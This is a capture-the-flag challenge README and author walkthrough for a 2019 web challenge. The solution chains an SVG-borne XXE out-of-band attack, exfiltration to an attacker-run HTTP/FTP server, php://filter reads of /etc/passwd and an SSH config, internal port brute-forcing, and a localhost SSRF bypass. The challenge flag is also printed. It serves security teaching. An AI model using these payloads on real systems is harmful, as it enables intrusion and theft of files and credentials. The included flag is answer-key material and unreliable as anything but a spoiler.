noraj/sigsegv2.webserver_11

A web challenge that was available during SigSegV2 CTF (2019)

XXE OOB via SVG + SSRF network scan + SSRF localhost bypass

Version

Date	Author	Contact	Version	Comment
03/11/2019	noraj (Alexandre ZANNI)	noraj#0833 on discord	1.0	Document creation

Information displayed for CTF players:

• Name of the challenge / Nom du challenge: Image Checker 2
• Category / Catégorie: Web
• Internet: not needed
• Difficulty / Difficulté: Very difficult / très difficile

Description

noraj is hiding something...

Flag format: sigsegv{flag}

author: [noraj](https://pwn.by/noraj/)

Hints

• Hint1: SVG
• Hint2: XXE
• Hint3: SSRF
• Hint4: SSH (user) config

Integration

This challenge require a Docker Engine and Docker Compose.

Builds, (re)creates, starts, and attaches to containers for a service:

$ docker-compose up --build

Add -d if you want to detach the container.

Solving

Author solution

More hardcore version of Image Checker 1 so first steps are the same but this time the flag is not easily hidden in /etc/passwd but on a remote service.

1. The app ask for a SVG.
2. Other file types seem to be refused.
3. Let's pick a legit svg and sent it to see what happens. Alternatively just load view.php without parameter.
4. The app seems to parse info from the file.
5. Since SVG is a XML let's try a XXE attack.
6. We can't see any errors, let's try a XXE OOB.
7. Let's start a HTTP server to deliver payloads (xxe.svg & xxe.xml) and...
8. ... let's start a FTP OOB extraction receiver (xxeserv):

   ./xxeserv -p 2121 -w -wd /home/noraj/dir/ -wp 8080
   

9. Send the payload: http://x.x.x.x:42421/view.php?svg=http://192.168.1.84:8080/xxe.svg. (see xxe.svg & xxe.xml)
10. Read /etc/passwd, the home of the user noraj is /home/noraj/. Change the data paylaod in xxe.xml to:

    php://filter/convert.base64-encode/resource=/etc/passwd
    

11. Let's try to find juicy files like .bash_hisotry, .profile, etc. the only one which exists is /home/noraj/.ssh/config. Change the data paylaod in xxe.xml to:

    php://filter/convert.base64-encode/resource=/home/noraj/.ssh/config
    

12. The ssh config file is leaking the hiddenservice domaine name.
13. Then bruteforce port to find the port where a service is available: http://hiddenservice:9999. (see bruteforce script bf_ports.rb with in depth explanation in comments)
14. We have to request http://127.0.0.1:10000 but port and host are blocked, we have to bypass it.
15. Do an SSRF bypass. Change the data paylaod in xxe.xml to:

    php://filter/convert.base64-encode/resource=http://hiddenservice:9999?url=http://127.0.0.1:10000
    

    with

    php://filter/convert.base64-encode/resource=http://hiddenservice:9999/?url=http://127.0.0.1:10000%[email protected]:80/
    

See the fuzzer PoC I created to find this SSRF bypass: https://gitlab.com/snippets/1911694

Flag

sigsegv{so_y0u_ar3_r3a11y_s3eri0us_4bout_XXE_4nd_SSRF}

SigSegV2

A web challenge that was available during SigSegV2 CTF (2019).

1 teams on 36 flaged this challenge.